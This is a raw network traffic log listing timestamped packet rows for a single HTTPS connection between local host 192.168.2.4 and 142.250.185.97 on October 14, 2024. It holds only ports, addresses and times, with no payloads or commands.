Oct 14, 2024 09:12:10.085786104 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.085832119 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.093107939 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.093166113 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.161720037 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.161870956 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.161883116 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.161911964 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.161932945 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.161969900 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.161993980 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.162043095 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.162081957 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.162142038 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.162753105 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.162806988 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.162847996 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.162899971 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.169007063 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.169094086 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.169105053 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.169234991 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.175254107 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.175333023 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.175342083 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.175404072 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.181766033 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.181850910 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.181859016 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.181901932 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.188009977 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.188080072 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.188088894 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.188134909 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.194056988 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.194118977 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.194128036 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.194190979 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.199922085 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.199991941 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.200000048 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.200043917 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.205626965 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.205703020 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.205710888 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.205761909 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.211558104 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.211621046 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.211630106 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.211677074 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.217426062 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.217504025 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.232266903 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.232350111 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.232362986 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.232409954 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256342888 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256442070 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256485939 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256542921 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256582022 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256634951 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256676912 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256733894 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256774902 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256831884 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256872892 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.256921053 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.256966114 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257013083 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.257057905 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257108927 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.257148027 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257200956 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.257237911 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257286072 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.257334948 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257386923 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.257456064 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.257512093 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.259371042 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.259437084 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.259476900 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.259536028 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.264180899 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.264251947 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.264282942 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.264341116 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.269237041 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.269301891 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.269321918 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.269385099 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.273978949 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.274048090 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.274060965 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.274113894 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.278605938 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.278812885 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.278822899 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.278882027 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.283349037 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.283416033 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.283453941 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.283509016 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.288068056 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.288137913 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.288151026 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.288197041 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.292443037 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.292509079 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.292515993 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.292563915 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.297283888 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.297355890 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.297364950 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.297414064 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.301557064 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.301631927 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.301640034 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.301690102 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.305716991 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.305759907 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.305780888 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.305792093 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.305807114 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.305851936 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.310029030 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.310103893 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.310116053 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.310164928 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.313776016 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.313848972 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.313880920 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.313941002 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.317689896 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.317769051 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.317789078 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.317843914 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.321608067 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.321683884 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.321696043 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.321753025 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.325136900 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.325220108 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.325229883 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.325274944 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.328670979 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.328773022 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.328780890 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.328839064 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.332263947 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.332328081 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.350490093 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.350565910 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.350610971 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.350668907 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.350711107 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.350756884 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.350982904 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351032972 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.351073027 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351119041 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.351159096 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351210117 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.351248026 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351294041 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.351330996 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351388931 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.351901054 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.351959944 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.352060080 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.352113962 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.352252960 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.352300882 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.352339983 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.352385044 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.352421999 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.352471113 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.353755951 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.353804111 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.353864908 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.353907108 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.353945971 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.353998899 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.355402946 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.355467081 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.359138012 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.359194994 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.359241962 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.359297037 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.359328032 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.359376907 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.359430075 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.359479904 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.363959074 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.364012003 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.364051104 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.364109993 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.364151955 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.364198923 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.364228010 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.364278078 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.368504047 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.368567944 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.368593931 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.368642092 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.368676901 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.368736029 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.370534897 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.370601892 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.373130083 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.373184919 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.373220921 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.373266935 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.373308897 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.373353958 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.373394966 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.373439074 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.373477936 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.373529911 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.378072023 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.378129959 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.378158092 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.378213882 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.378442049 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.378494024 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.378525019 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.378577948 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.382710934 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.382764101 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.382797956 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.382853985 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.382889032 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.382945061 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.382986069 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.383033991 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.387101889 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.387152910 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.387208939 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.387255907 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.387298107 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.387342930 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.387401104 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.387443066 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.391602039 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.391665936 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.391674995 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.391720057 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.391733885 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.391774893 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.391782045 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.391827106 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.396158934 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.396209955 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.396229982 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.396239042 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.396256924 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.396301031 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.396306038 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.396351099 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.400645018 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.400688887 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.400697947 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.400746107 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.400753021 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.400790930 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.400791883 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.400803089 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.400830984 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.400876045 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.404383898 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.404447079 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.404449940 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.404457092 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.404499054 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.405704975 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.405759096 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.408229113 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.408272982 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.408299923 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.408308983 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.408323050 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.408365011 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.409349918 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.409414053 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.412110090 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.412178040 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.412194014 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.412240982 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.412276030 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.412328005 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.413110018 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.413162947 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.416081905 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.416145086 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.416176081 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.416222095 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.416260004 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.416306973 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.416702032 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.416748047 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.419799089 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.419862032 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.419895887 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.419939995 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.419991970 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.420042992 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.420075893 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.420130968 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.423046112 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.423095942 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.423158884 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.423211098 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.423240900 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.423290968 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.424489975 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.424541950 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.426701069 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.426753044 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.426789999 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.426841974 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445265055 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445395947 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445404053 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445452929 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445462942 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445501089 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445514917 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445559025 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445631027 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445681095 CEST	49737	443	192.168.2.4	142.250.185.97
Oct 14, 2024 09:12:10.445719004 CEST	443	49737	142.250.185.97	192.168.2.4
Oct 14, 2024 09:12:10.445763111 CEST	49737	443	192.168.2.4	142.250.185.97
